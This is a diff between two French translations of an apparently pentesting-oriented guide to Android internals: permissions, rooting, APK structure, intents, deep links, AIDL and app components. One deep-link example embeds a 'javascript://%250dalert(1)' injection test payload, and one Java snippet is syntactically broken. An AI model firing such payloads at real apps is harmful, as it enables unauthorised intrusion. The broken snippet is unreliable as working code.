||||
* Le **niveau de protection** qui indique comment les autorisations sont accordées. Il existe quatre types :
|
||||
* **Normal** : Utilisé lorsqu'il n'y a **aucune menace connue** pour l'application. L'utilisateur n'est **pas tenu d'approuver**.
|
||||
* **Dangereux** : Indique que l'autorisation accorde à l'application demandeur un **accès élevé**. **Les utilisateurs sont invités à les approuver**.
|
||||
* **Signature** : Seules les **applications signées par le même certificat que celui** exportant le composant peuvent se voir accorder l'autorisation. Il s'agit du type de protection le plus fort.
|
||||
* **SignatureOrSystem** : Seules les **applications signées par le même certificat que celui** exportant le composant ou les **applications fonctionnant avec un accès de niveau système** peuvent se voir accorder des autorisations.
|
||||
* Le **nom** de la permission
|
||||
* L'attribut **permission-group**, qui permet de regrouper des permissions liées.
|
||||
* Le **niveau de protection** qui indique comment les permissions sont accordées. Il existe quatre types :
|
||||
* **Normal** : Utilisé lorsqu'il n'y a **aucune menace connue** pour l'application. L'utilisateur **n'est pas tenu de l'approuver**.
|
||||
* **Dangerous** : Indique que la permission accorde à l'application demandeuse un **accès élevé**. **Les utilisateurs sont invités à les approuver**.
|
||||
* **Signature** : Seules les **applications signées par le même certificat que celui** exportant le composant peuvent se voir accorder la permission. C'est le type de protection le plus fort.
|
||||
* **SignatureOrSystem** : Seules les **applications signées par le même certificat que celui** exportant le composant ou **les applications fonctionnant avec un accès au niveau système** peuvent se voir accorder des permissions.
|
||||
|
||||
## Applications Pré-Installées
|
||||
## Applications préinstallées
|
||||
|
||||
Ces applications se trouvent généralement dans les répertoires **`/system/app`** ou **`/system/priv-app`** et certaines d'entre elles sont **optimisées** (vous ne trouverez peut-être même pas le fichier `classes.dex`). Ces applications valent la peine d'être vérifiées car parfois elles **fonctionnent avec trop de permissions** (en tant que root).
|
||||
|
||||
* Celles livrées avec le **ROM AOSP** (Android OpenSource Project)
|
||||
* Celles fournies avec le **ROM AOSP** (Android OpenSource Project)
|
||||
* Ajoutées par le **fabricant de l'appareil**
|
||||
* Ajoutées par le **fournisseur de téléphonie mobile** (si acheté chez eux)
|
||||
* Ajoutées par le **fournisseur de téléphonie mobile** (si achetées chez eux)
|
||||
|
||||
## Rootage
|
||||
## Rooting
|
||||
|
||||
Pour obtenir un accès root sur un appareil Android physique, vous devez généralement **exploiter** 1 ou 2 **vulnérabilités** qui étaient **spécifiques** à l'**appareil** et à la **version**.\
|
||||
Une fois l'exploit réussi, généralement le binaire Linux `su` est copié dans un emplacement spécifié dans la variable d'environnement PATH de l'utilisateur comme `/system/xbin`.
|
||||
Pour obtenir un accès root sur un appareil Android physique, vous devez généralement **exploiter** 1 ou 2 **vulnérabilités** qui sont souvent **spécifiques** à l'**appareil** et à la **version**.\
|
||||
Une fois l'exploitation réussie, le binaire Linux `su` est généralement copié dans un emplacement spécifié dans la variable d'environnement PATH de l'utilisateur comme `/system/xbin`.
|
||||
|
||||
Une fois le binaire su configuré, une autre application Android est utilisée pour interagir avec le binaire `su` et **traiter les demandes d'accès root** comme **Superuser** et **SuperSU** (disponibles sur Google Play Store).
|
||||
Une fois le binaire su configuré, une autre application Android est utilisée pour interagir avec le binaire `su` et **traiter les demandes d'accès root** comme **Superuser** et **SuperSU** (disponible sur le Google Play Store).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Notez que le processus de rootage est très dangereux et peut endommager gravement l'appareil
|
||||
Notez que le processus de rooting est très dangereux et peut endommager gravement l'appareil.
|
||||
{% endhint %}
|
||||
|
||||
### ROMs
|
||||
|
||||
Il est possible de **remplacer le système d'exploitation en installant un firmware personnalisé**. En faisant cela, il est possible d'étendre l'utilité d'un ancien appareil, contourner les restrictions logicielles ou accéder au dernier code Android.\
|
||||
Il est possible de **remplacer le système d'exploitation en installant un firmware personnalisé**. Ce faisant, il est possible d'étendre l'utilité d'un ancien appareil, de contourner les restrictions logicielles ou d'accéder au dernier code Android.\
|
||||
**OmniROM** et **LineageOS** sont deux des firmwares les plus populaires à utiliser.
|
||||
|
||||
Notez que **il n'est pas toujours nécessaire de rooter l'appareil** pour installer un firmware personnalisé. **Certains fabricants permettent** le déverrouillage de leurs chargeurs d'amorçage de manière bien documentée et sécurisée.
|
||||
Notez que **ce n'est pas toujours nécessaire de rooter l'appareil** pour installer un firmware personnalisé. **Certains fabricants permettent** le déverrouillage de leurs bootloaders de manière bien documentée et sécurisée.
|
||||
|
||||
### Implications
|
||||
|
||||
Une fois qu'un appareil est rooté, n'importe quelle application pourrait demander un accès en tant que root. Si une application malveillante l'obtient, elle pourra accéder à presque tout et endommager le téléphone.
|
||||
Une fois un appareil rooté, n'importe quelle application pourrait demander un accès en tant que root. Si une application malveillante obtient cet accès, elle pourra accéder à presque tout et pourra endommager le téléphone.
|
||||
|
||||
## Fondamentaux des Applications Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
## Fondamentaux des applications Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Le format des applications Android est appelé le _format de fichier APK_. Il s'agit essentiellement d'un **fichier ZIP** (en renommant l'extension de fichier en .zip, le contenu peut être extrait et visualisé).
|
||||
- Le format des applications Android est appelé _format de fichier APK_. C'est essentiellement un **fichier ZIP** (en renommant l'extension de fichier en .zip, le contenu peut être extrait et visualisé).
|
||||
- Contenu de l'APK (non exhaustif)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc : contient des ressources précompilées, comme du XML binaire.
|
||||
- res/xml/files\_paths.xml
|
||||
- META-INF/
|
||||
- C'est là que se trouve le Certificat !
|
||||
- C'est ici que se trouve le certificat !
|
||||
- **classes.dex**
|
||||
- Contient le bytecode Dalvik, représentant le code Java (ou Kotlin) compilé que l'application exécute par défaut.
|
||||
- Contient du bytecode Dalvik, représentant le code Java (ou Kotlin) compilé que l'application exécute par défaut.
|
||||
- lib/
|
||||
- Contient des bibliothèques natives, séparées par architecture CPU dans des sous-répertoires.
|
||||
- `armeabi` : code pour les processeurs basés sur ARM
|
||||
- `armeabi-v7a` : code pour les processeurs basés sur ARMv7 et supérieurs
|
||||
- `x86` : code pour les processeurs X86
|
||||
- `mips` : code pour les processeurs MIPS uniquement
|
||||
- `armeabi` : code pour processeurs basés sur ARM
|
||||
- `armeabi-v7a` : code pour processeurs ARMv7 et supérieurs
|
||||
- `x86` : code pour processeurs X86
|
||||
- `mips` : code uniquement pour processeurs MIPS
|
||||
- assets/
|
||||
- Stocke des fichiers divers nécessaires à l'application, potentiellement y compris des bibliothèques natives supplémentaires ou des fichiers DEX, parfois utilisés par les auteurs de logiciels malveillants pour dissimuler du code supplémentaire.
|
||||
- Stocke des fichiers divers nécessaires à l'application, pouvant inclure des bibliothèques natives supplémentaires ou des fichiers DEX, parfois utilisés par des auteurs de logiciels malveillants pour dissimuler du code supplémentaire.
|
||||
- res/
|
||||
- Contient des ressources qui ne sont pas compilées dans resources.arsc
|
||||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
En développement Android, **Java ou Kotlin** est utilisé pour créer des applications. Au lieu d'utiliser le JVM comme dans les applications de bureau, Android compile ce code en **code bytecode Dalvik exécutable (DEX)**. Auparavant, la machine virtuelle Dalvik gérait ce bytecode, mais maintenant, le Android Runtime (ART) prend le relais dans les nouvelles versions d'Android.
|
||||
Dans le développement Android, **Java ou Kotlin** est utilisé pour créer des applications. Au lieu d'utiliser la JVM comme dans les applications de bureau, Android compile ce code en **bytecode exécutable Dalvik (DEX)**. Auparavant, la machine virtuelle Dalvik gérait ce bytecode, mais maintenant, l'Android Runtime (ART) prend le relais dans les versions Android plus récentes.
|
||||
|
||||
Pour l'ingénierie inverse, **Smali** devient crucial. C'est la version lisible par l'homme du bytecode DEX, agissant comme un langage d'assemblage en traduisant le code source en instructions bytecode. Smali et baksmali font référence aux outils d'assemblage et de désassemblage dans ce contexte.
|
||||
Pour l'ingénierie inverse, **Smali** devient crucial. C'est la version lisible par l'homme du bytecode DEX, agissant comme un langage d'assemblage en traduisant le code source en instructions de bytecode. Smali et baksmali font référence aux outils d'assemblage et de désassemblage dans ce contexte.
|
||||
|
||||
## Intentions
|
||||
## Intents
|
||||
|
||||
Les Intentions sont le principal moyen par lequel les applications Android communiquent entre leurs composants ou avec d'autres applications. Ces objets de message peuvent également transporter des données entre les applications ou les composants, de manière similaire à la façon dont les requêtes GET/POST sont utilisées dans les communications HTTP.
|
||||
Les intents sont le principal moyen par lequel les applications Android communiquent entre leurs composants ou avec d'autres applications. Ces objets de message peuvent également transporter des données entre des applications ou des composants, similaire à la façon dont les requêtes GET/POST sont utilisées dans les communications HTTP.
|
||||
|
||||
Ainsi, une Intention est essentiellement un **message qui est passé entre les composants**. Les Intentions **peuvent être dirigées** vers des composants ou des applications spécifiques, **ou peuvent être envoyées sans destinataire spécifique**.\
|
||||
Pour simplifier, une Intention peut être utilisée pour :
|
||||
Ainsi, un Intent est essentiellement un **message qui est passé entre des composants**. Les Intents **peuvent être dirigés** vers des composants ou des applications spécifiques, **ou peuvent être envoyés sans destinataire spécifique**.\
|
||||
Pour être simple, un Intent peut être utilisé :
|
||||
|
||||
* Démarrer une Activité, ouvrir généralement une interface utilisateur pour une application
|
||||
* Comme diffusions pour informer le système et les applications des changements
|
||||
* Pour démarrer une activité, généralement en ouvrant une interface utilisateur pour une application
|
||||
* Comme des diffusions pour informer le système et les applications des changements
|
||||
* Pour démarrer, arrêter et communiquer avec un service en arrière-plan
|
||||
* Accéder aux données via des ContentProviders
|
||||
* Comme rappels pour gérer des événements
|
||||
* Pour accéder aux données via des ContentProviders
|
||||
* Comme des rappels pour gérer des événements
|
||||
|
||||
Si elles sont vulnérables, les **Intentions peuvent être utilisées pour effectuer divers types d'attaques**.
|
||||
S'ils sont vulnérables, **les Intents peuvent être utilisés pour effectuer une variété d'attaques**.
|
||||
|
||||
### Filtre d'Intentions
|
||||
### Intent-Filter
|
||||
|
||||
Les **Filtres d'Intentions** définissent **comment une activité, un service ou un récepteur de diffusion peuvent interagir avec différents types d'Intentions**. Essentiellement, ils décrivent les capacités de ces composants, comme les actions qu'ils peuvent effectuer ou les types de diffusions qu'ils peuvent traiter. Le principal endroit pour déclarer ces filtres est dans le fichier **AndroidManifest.xml**, bien que pour les récepteurs de diffusion, les coder soit également une option.
|
||||
**Les filtres d'intent** définissent **comment une activité, un service ou un récepteur de diffusion peut interagir avec différents types d'intents**. Essentiellement, ils décrivent les capacités de ces composants, telles que les actions qu'ils peuvent effectuer ou les types de diffusions qu'ils peuvent traiter. L'endroit principal pour déclarer ces filtres est dans le **fichier AndroidManifest.xml**, bien que pour les récepteurs de diffusion, les coder soit également une option.
|
||||
|
||||
Les Filtres d'Intentions sont composés de catégories, d'actions et de filtres de données, avec la possibilité d'inclure des métadonnées supplémentaires. Cette configuration permet aux composants de gérer des Intentions spécifiques qui correspondent aux critères déclarés.
|
||||
Les filtres d'intent sont composés de catégories, d'actions et de filtres de données, avec la possibilité d'inclure des métadonnées supplémentaires. Cette configuration permet aux composants de gérer des Intents spécifiques qui correspondent aux critères déclarés.
|
||||
|
||||
Un aspect critique des composants Android (activités/services/fournisseurs de contenu/récepteurs de diffusion) est leur visibilité ou leur **statut public**. Un composant est considéré comme public et peut interagir avec d'autres applications s'il est **`exporté`** avec une valeur de **`true`** ou si un Filtre d'Intentions est déclaré pour lui dans le manifeste. Cependant, les développeurs ont la possibilité de garder explicitement ces composants privés, en veillant à ce qu'ils n'interagissent pas avec d'autres applications de manière non intentionnelle. Cela est réalisé en définissant l'attribut **`exported`** sur **`false`** dans leurs définitions de manifeste.
|
||||
Un aspect critique des composants Android (activités/services/content providers/récepteurs de diffusion) est leur visibilité ou **statut public**. Un composant est considéré comme public et peut interagir avec d'autres applications s'il est **`exported`** avec une valeur de **`true`** ou si un filtre d'intent est déclaré pour lui dans le manifeste. Cependant, il existe un moyen pour les développeurs de garder explicitement ces composants privés, garantissant qu'ils n'interagissent pas avec d'autres applications de manière non intentionnelle. Cela est réalisé en définissant l'attribut **`exported`** sur **`false`** dans leurs définitions de manifeste.
|
||||
|
||||
De plus, les développeurs ont la possibilité de sécuriser davantage l'accès à ces composants en exigeant des autorisations spécifiques. L'attribut **`permission`** peut être défini pour exiger que seules les applications disposant de l'autorisation désignée puissent accéder au composant, ajoutant une couche supplémentaire de sécurité et de contrôle sur qui peut interagir avec lui.
|
||||
De plus, les développeurs ont la possibilité de sécuriser davantage l'accès à ces composants en exigeant des permissions spécifiques. L'attribut **`permission`** peut être défini pour imposer que seules les applications ayant la permission désignée puissent accéder au composant, ajoutant une couche supplémentaire de sécurité et de contrôle sur qui peut interagir avec lui.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
</activity>
|
||||
```
|
||||
### Intentions implicites
|
||||
### Intents implicites
|
||||
|
||||
Les intentions sont créées de manière programmatique en utilisant un constructeur Intent :
|
||||
Les intents sont créés de manière programmatique à l'aide d'un constructeur Intent :
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
L'**Action** de l'intent précédemment déclaré est **ACTION\_SEND** et l'**Extra** est un **Uri** mailto (l'Extra est l'information supplémentaire que l'intent attend).
|
||||
L'**Action** de l'intention précédemment déclarée est **ACTION\_SEND** et l'**Extra** est un mailto **Uri** (l'Extra est l'information supplémentaire que l'intention attend).
|
||||
|
||||
Cet intent doit être déclaré dans le manifeste comme dans l'exemple suivant :
|
||||
Cette intention doit être déclarée dans le manifeste comme dans l'exemple suivant :
|
||||
```xml
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
|
@ -163,50 +165,50 @@ Cet intent doit être déclaré dans le manifeste comme dans l'exemple suivant :
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
Un intent-filter doit correspondre à l'**action**, aux **données** et à la **catégorie** pour recevoir un message.
|
||||
Un intent-filter doit correspondre à l'**action**, **data** et **category** pour recevoir un message.
|
||||
|
||||
Le processus de "résolution de l'intent" détermine quelle application doit recevoir chaque message. Ce processus prend en compte l'attribut de **priorité**, qui peut être défini dans la déclaration de l'**intent-filter**, et **celui avec la priorité la plus élevée sera sélectionné**. Cette priorité peut être définie entre -1000 et 1000 et les applications peuvent utiliser la valeur `SYSTEM_HIGH_PRIORITY`. En cas de **conflit**, une fenêtre de "choix" apparaît pour que l'**utilisateur puisse décider**.
|
||||
Le processus de "résolution d'intent" détermine quelle application doit recevoir chaque message. Ce processus prend en compte l'**attribut de priorité**, qui peut être défini dans la **déclaration d'intent-filter**, et **celui avec la priorité la plus élevée sera sélectionné**. Cette priorité peut être définie entre -1000 et 1000 et les applications peuvent utiliser la valeur `SYSTEM_HIGH_PRIORITY`. Si un **conflit** survient, une fenêtre "choisir" apparaît afin que **l'utilisateur puisse décider**.
|
||||
|
||||
### Intents explicites
|
||||
|
||||
Un intent explicite spécifie le nom de la classe qu'il cible:
|
||||
Un intent explicite spécifie le nom de la classe qu'il cible :
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
Dans d'autres applications, pour accéder à l'intention précédemment déclarée, vous pouvez utiliser :
|
||||
Dans d'autres applications, afin d'accéder à l'intention précédemment déclarée, vous pouvez utiliser :
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
context.startService(intent);
|
||||
```
|
||||
### Intentions en attente
|
||||
### Pending Intents
|
||||
|
||||
Ces intentions permettent à d'autres applications de **prendre des actions au nom de votre application**, en utilisant l'identité et les autorisations de votre application. Pour construire une Intention en attente, il faut **spécifier une intention et l'action à effectuer**. Si l'intention **déclarée n'est pas explicite** (ne déclare pas quelle intention peut l'appeler), une **application malveillante pourrait effectuer l'action déclarée** au nom de l'application victime. De plus, **si une action n'est pas spécifiée**, l'application malveillante pourra effectuer **n'importe quelle action au nom de la victime**.
|
||||
Ces derniers permettent à d'autres applications de **prendre des actions au nom de votre application**, en utilisant l'identité et les autorisations de votre application. Pour construire un Pending Intent, il faut **spécifier un intent et l'action à effectuer**. Si l'**intent déclaré n'est pas explicite** (ne déclare pas quel intent peut l'appeler), une **application malveillante pourrait effectuer l'action déclarée** au nom de l'application victime. De plus, **si une action n'est pas spécifiée**, l'application malveillante pourra effectuer **n'importe quelle action au nom de la victime**.
|
||||
|
||||
### Intentions de diffusion
|
||||
### Broadcast Intents
|
||||
|
||||
Contrairement aux intentions précédentes, qui ne sont reçues que par une seule application, les intentions de diffusion **peuvent être reçues par plusieurs applications**. Cependant, à partir de la version API 14, il est **possible de spécifier l'application qui doit recevoir** le message en utilisant Intent.setPackage.
|
||||
Contrairement aux intents précédents, qui ne sont reçus que par une seule application, les intents de diffusion **peuvent être reçus par plusieurs applications**. Cependant, à partir de la version API 14, il est **possible de spécifier l'application qui doit recevoir** le message en utilisant Intent.setPackage.
|
||||
|
||||
Il est également possible de **spécifier une autorisation lors de l'envoi de la diffusion**. L'application réceptrice devra avoir cette autorisation.
|
||||
|
||||
Il existe **deux types** de diffusions : **Normale** (asynchrone) et **Ordonnée** (synchrone). L'**ordre** est basé sur la **priorité configurée dans l'élément récepteur**. **Chaque application peut traiter, relayer ou abandonner la diffusion**.
|
||||
Il existe **deux types** de diffusions : **Normale** (asynchrone) et **Ordonnée** (synchrones). L'**ordre** est basé sur la **priorité configurée dans l'élément récepteur**. **Chaque application peut traiter, relayer ou ignorer la diffusion.**
|
||||
|
||||
Il est possible d'**envoyer** une **diffusion** en utilisant la fonction `sendBroadcast(intent, receiverPermission)` de la classe `Context`.\
|
||||
Vous pourriez également utiliser la fonction **`sendBroadcast`** du **`LocalBroadCastManager`** pour garantir que le **message ne quitte jamais l'application**. En utilisant cela, vous n'aurez même pas besoin d'exporter un composant récepteur.
|
||||
Il est possible de **envoyer** une **diffusion** en utilisant la fonction `sendBroadcast(intent, receiverPermission)` de la classe `Context`.\
|
||||
Vous pouvez également utiliser la fonction **`sendBroadcast`** de **`LocalBroadCastManager`** qui garantit que le **message ne quitte jamais l'application**. Avec cela, vous n'aurez même pas besoin d'exporter un composant récepteur.
|
||||
|
||||
### Diffusions persistantes
|
||||
### Sticky Broadcasts
|
||||
|
||||
Ce type de diffusions **peut être accédé longtemps après leur envoi**.\
|
||||
Ils ont été obsolètes à partir du niveau API 21 et il est recommandé de **ne pas les utiliser**.\
|
||||
**Ils permettent à n'importe quelle application de renifler les données, mais aussi de les modifier**.
|
||||
Ce type de diffusions **peut être accessible longtemps après leur envoi**.\
|
||||
Celles-ci ont été dépréciées au niveau API 21 et il est recommandé de **ne pas les utiliser**.\
|
||||
**Elles permettent à n'importe quelle application d'intercepter les données, mais aussi de les modifier.**
|
||||
|
||||
Si vous trouvez des fonctions contenant le mot "persistant" comme **`sendStickyBroadcast`** ou **`sendStickyBroadcastAsUser`**, **vérifiez l'impact et essayez de les supprimer**.
|
||||
Si vous trouvez des fonctions contenant le mot "sticky" comme **`sendStickyBroadcast`** ou **`sendStickyBroadcastAsUser`**, **vérifiez l'impact et essayez de les supprimer**.
|
||||
|
||||
## Liens profonds / schémas d'URL
|
||||
## Deep links / URL schemes
|
||||
|
||||
Dans les applications Android, les **liens profonds** sont utilisés pour initier une action (Intention) directement via une URL. Cela se fait en déclarant un **schéma d'URL** spécifique au sein d'une activité. Lorsqu'un appareil Android tente d'**accéder à une URL avec ce schéma**, l'activité spécifiée dans l'application est lancée.
|
||||
Dans les applications Android, **les deep links** sont utilisés pour initier une action (Intent) directement via une URL. Cela se fait en déclarant un **schéma d'URL** spécifique dans une activité. Lorsqu'un appareil Android essaie d'**accéder à une URL avec ce schéma**, l'activité spécifiée dans l'application est lancée.
|
||||
|
||||
Le schéma doit être déclaré dans le fichier **`AndroidManifest.xml`** :
|
||||
Le schéma doit être déclaré dans le **`AndroidManifest.xml`** :
|
||||
```xml
|
||||
[...]
|
||||
<activity android:name=".MyActivity">
|
||||
|
@ -218,44 +220,44 @@ Le schéma doit être déclaré dans le fichier **`AndroidManifest.xml`** :
|
|||
</intent-filter>
|
||||
[...]
|
||||
```
|
||||
Le schéma de l'exemple précédent est `exampleapp://` (notez également la **`catégorie BROWSABLE`**)
|
||||
Le schéma de l'exemple précédent est `exampleapp://` (notez également le **`category BROWSABLE`**)
|
||||
|
||||
Ensuite, dans le champ des données, vous pouvez spécifier l'**hôte** et le **chemin** :
|
||||
Ensuite, dans le champ de données, vous pouvez spécifier le **host** et le **path** :
|
||||
```xml
|
||||
<data android:scheme="examplescheme"
|
||||
android:host="example"
|
||||
/>
|
||||
```
|
||||
Pour y accéder depuis un site web, il est possible de définir un lien comme suit :
|
||||
Pour y accéder depuis le web, il est possible de définir un lien comme :
|
||||
```xml
|
||||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
```
|
||||
Pour trouver le **code qui sera exécuté dans l'application**, allez à l'activité appelée par le lien profond et recherchez la fonction **`onNewIntent`**.
|
||||
Pour trouver le **code qui sera exécuté dans l'App**, allez à l'activité appelée par le deeplink et recherchez la fonction **`onNewIntent`**.
|
||||
|
||||
Apprenez comment [appeler des liens profonds sans utiliser de pages HTML](./#exploiting-schemes-deep-links).
|
||||
Apprenez à [appeler des deep links sans utiliser de pages HTML](./#exploiting-schemes-deep-links).
|
||||
|
||||
## AIDL - Langage de définition d'interface Android
|
||||
## AIDL - Android Interface Definition Language
|
||||
|
||||
Le **Langage de Définition d'Interface Android (AIDL)** est conçu pour faciliter la communication entre le client et le service dans les applications Android via la **communication interprocessus** (IPC). Étant donné qu'il n'est pas permis d'accéder directement à la mémoire d'un autre processus sur Android, AIDL simplifie le processus en marshalling des objets dans un format compris par le système d'exploitation, facilitant ainsi la communication entre différents processus.
|
||||
Le **Android Interface Definition Language (AIDL)** est conçu pour faciliter la communication entre le client et le service dans les applications Android via **interprocess communication** (IPC). Étant donné qu'il n'est pas permis d'accéder directement à la mémoire d'un autre processus sur Android, AIDL simplifie le processus en marshalling des objets dans un format compris par le système d'exploitation, facilitant ainsi la communication entre différents processus.
|
||||
|
||||
### Concepts Clés
|
||||
|
||||
- **Services liés**: Ces services utilisent AIDL pour l'IPC, permettant aux activités ou composants de se lier à un service, de faire des requêtes et de recevoir des réponses. La méthode `onBind` dans la classe du service est essentielle pour initier l'interaction, en en faisant une zone vitale pour l'examen de la sécurité à la recherche de vulnérabilités.
|
||||
- **Services Liés** : Ces services utilisent AIDL pour IPC, permettant aux activités ou composants de se lier à un service, de faire des demandes et de recevoir des réponses. La méthode `onBind` dans la classe du service est essentielle pour initier l'interaction, marquant ainsi un domaine vital pour l'examen de la sécurité à la recherche de vulnérabilités.
|
||||
|
||||
- **Messager**: Agissant en tant que service lié, Messenger facilite l'IPC en se concentrant sur le traitement des données via la méthode `onBind`. Il est essentiel d'inspecter cette méthode de près pour tout traitement de données non sécurisé ou l'exécution de fonctions sensibles.
|
||||
- **Messenger** : Fonctionnant comme un service lié, Messenger facilite l'IPC en se concentrant sur le traitement des données via la méthode `onBind`. Il est essentiel d'examiner cette méthode de près pour toute manipulation de données non sécurisée ou exécution de fonctions sensibles.
|
||||
|
||||
- **Binder**: Bien que l'utilisation directe de la classe Binder soit moins courante en raison de l'abstraction d'AIDL, il est bénéfique de comprendre que Binder agit comme un pilote au niveau du noyau facilitant le transfert de données entre les espaces mémoire de différents processus. Pour une meilleure compréhension, une ressource est disponible sur [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
- **Binder** : Bien que l'utilisation directe de la classe Binder soit moins courante en raison de l'abstraction d'AIDL, il est utile de comprendre que Binder agit comme un pilote au niveau du noyau facilitant le transfert de données entre les espaces mémoire de différents processus. Pour une compréhension plus approfondie, une ressource est disponible à [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
|
||||
## Composants
|
||||
|
||||
Ceux-ci incluent: **Activités, Services, Récepteurs de diffusion et Fournisseurs.**
|
||||
Cela inclut : **Activités, Services, Récepteurs de Diffusion et Fournisseurs.**
|
||||
|
||||
### Activité de lancement et autres activités
|
||||
### Activité de Lancement et autres activités
|
||||
|
||||
Dans les applications Android, les **activités** sont comme des écrans, affichant différentes parties de l'interface utilisateur de l'application. Une application peut avoir de nombreuses activités, chacune présentant un écran unique à l'utilisateur.
|
||||
Dans les applications Android, les **activités** sont comme des écrans, montrant différentes parties de l'interface utilisateur de l'application. Une application peut avoir de nombreuses activités, chacune présentant un écran unique à l'utilisateur.
|
||||
|
||||
L'**activité de lancement** est la passerelle principale vers une application, lancée lorsque vous appuyez sur l'icône de l'application. Elle est définie dans le fichier manifeste de l'application avec des intents MAIN et LAUNCHER spécifiques:
|
||||
L'**activité de lancement** est la principale porte d'entrée d'une application, lancée lorsque vous appuyez sur l'icône de l'application. Elle est définie dans le fichier manifeste de l'application avec des intents spécifiques MAIN et LAUNCHER :
|
||||
```markup
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
|
@ -270,13 +272,13 @@ Les activités peuvent être rendues disponibles à d'autres applications ou pro
|
|||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
Cependant, accéder à une activité depuis une autre application n'est pas toujours un risque de sécurité. Le problème survient si des données sensibles sont partagées de manière inappropriée, ce qui pourrait entraîner des fuites d'informations.
|
||||
Cependant, accéder à une activité d'une autre application n'est pas toujours un risque de sécurité. Le problème survient si des données sensibles sont partagées de manière inappropriée, ce qui pourrait entraîner des fuites d'informations.
|
||||
|
||||
Le cycle de vie d'une activité **commence avec la méthode onCreate**, mettant en place l'interface utilisateur et préparant l'activité pour l'interaction avec l'utilisateur.
|
||||
Le cycle de vie d'une activité **commence avec la méthode onCreate**, configurant l'interface utilisateur et préparant l'activité pour l'interaction avec l'utilisateur.
|
||||
|
||||
### Sous-classe d'application
|
||||
|
||||
Dans le développement Android, une application a la possibilité de créer une **sous-classe** de la classe [Application](https://developer.android.com/reference/android/app/Application), bien que cela ne soit pas obligatoire. Lorsqu'une telle sous-classe est définie, elle devient la première classe à être instanciée dans l'application. La méthode **`attachBaseContext`**, si elle est implémentée dans cette sous-classe, est exécutée avant la méthode **`onCreate`**. Cette configuration permet une initialisation précoce avant le démarrage du reste de l'application.
|
||||
Dans le développement Android, une application a la possibilité de créer une **sous-classe** de la classe [Application](https://developer.android.com/reference/android/app/Application), bien que ce ne soit pas obligatoire. Lorsqu'une telle sous-classe est définie, elle devient la première classe à être instanciée dans l'application. La méthode **`attachBaseContext`**, si elle est implémentée dans cette sous-classe, est exécutée avant la méthode **`onCreate`**. Cette configuration permet une initialisation précoce avant que le reste de l'application ne démarre.
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
|
@ -294,33 +296,33 @@ super.onCreate();
|
|||
```
|
||||
### Services
|
||||
|
||||
[Les services](https://developer.android.com/guide/components/services) sont des **opérations en arrière-plan** capables d'exécuter des tâches sans interface utilisateur. Ces tâches peuvent continuer à s'exécuter même lorsque les utilisateurs passent à différentes applications, ce qui rend les services cruciaux pour les **opérations de longue durée**.
|
||||
[Services](https://developer.android.com/guide/components/services) sont des **opérateurs en arrière-plan** capables d'exécuter des tâches sans interface utilisateur. Ces tâches peuvent continuer à s'exécuter même lorsque les utilisateurs passent à d'autres applications, ce qui rend les services cruciaux pour des **opérations de longue durée**.
|
||||
|
||||
Les services sont polyvalents ; ils peuvent être initiés de différentes manières, les **Intents** étant la méthode principale pour les lancer en tant que point d'entrée d'une application. Une fois qu'un service est démarré en utilisant la méthode `startService`, sa méthode `onStart` entre en action et continue à s'exécuter jusqu'à ce que la méthode `stopService` soit explicitement appelée. Alternativement, si le rôle d'un service dépend d'une connexion client active, la méthode `bindService` est utilisée pour lier le client au service, en engageant la méthode `onBind` pour le passage de données.
|
||||
Les services sont polyvalents ; ils peuvent être initiés de différentes manières, les **Intents** étant la méthode principale pour les lancer en tant que point d'entrée d'une application. Une fois qu'un service est démarré en utilisant la méthode `startService`, sa méthode `onStart` entre en action et continue de s'exécuter jusqu'à ce que la méthode `stopService` soit explicitement appelée. Alternativement, si le rôle d'un service dépend d'une connexion client active, la méthode `bindService` est utilisée pour lier le client au service, engageant la méthode `onBind` pour le passage de données.
|
||||
|
||||
Une application intéressante des services comprend la lecture de musique en arrière-plan ou la récupération de données réseau sans entraver l'interaction de l'utilisateur avec une application. De plus, les services peuvent être rendus accessibles à d'autres processus sur le même appareil grâce à **l'exportation**. Ce n'est pas le comportement par défaut et nécessite une configuration explicite dans le fichier Android Manifest :
|
||||
Une application intéressante des services inclut la lecture de musique en arrière-plan ou la récupération de données réseau sans entraver l'interaction de l'utilisateur avec une application. De plus, les services peuvent être rendus accessibles à d'autres processus sur le même appareil par le biais de **l'exportation**. Ce n'est pas le comportement par défaut et nécessite une configuration explicite dans le fichier Android Manifest :
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
### Récepteurs de diffusion
|
||||
### Broadcast Receivers
|
||||
|
||||
Les **récepteurs de diffusion** agissent comme des écouteurs dans un système de messagerie, permettant à plusieurs applications de répondre aux mêmes messages du système. Une application peut **enregistrer un récepteur** de **deux manières principales** : via le **Manifest** de l'application ou **dynamiquement** dans le code de l'application via l'API **`registerReceiver`**. Dans le Manifest, les diffusions sont filtrées avec des autorisations, tandis que les récepteurs enregistrés dynamiquement peuvent également spécifier des autorisations lors de l'enregistrement.
|
||||
